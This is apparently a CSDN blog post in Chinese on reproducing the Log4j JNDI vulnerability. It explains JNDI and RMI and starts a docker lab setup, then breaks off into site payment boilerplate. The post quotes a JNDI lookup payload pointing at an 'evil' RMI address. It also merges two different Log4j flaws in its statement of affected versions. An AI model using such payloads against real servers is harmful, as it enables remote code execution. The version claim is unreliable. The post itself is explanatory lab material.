网络安全 log4j漏洞复现

本文介绍了Apache Log4j的严重漏洞,该漏洞允许未经验证的用户通过远程请求触发任意代码执行。文章详细讲解了漏洞原理,涉及JNDI和RMI的概念,并提供了log4j环境搭建、漏洞检测及命令执行的步骤。读者将了解到如何通过特定字符序列触发漏洞,以及如何利用JNDI进行远程方法调用来执行恶意操作。
摘要由CSDN通过智能技术生成

前言:

log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。

漏洞描述:

由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。

如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。如果这个rmi的内容是删除数据库,重启服务器这种恶意程序,被攻击之后还是趁早跑路吧。(开个玩笑)

关于JNDI:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。

关于RMI:

RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。

log4j简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。
Log4j 1.2 中包含一个 SocketServer 类,该类容易受到不可信数据反序列化的影响,当侦听不可信网络流量以获取日志数据时,该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。
这会影响从 1.2 到 2.14 的 Log4j 版本。

log4j环境搭建

  • log4漏洞环境搭建(需要docker)
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值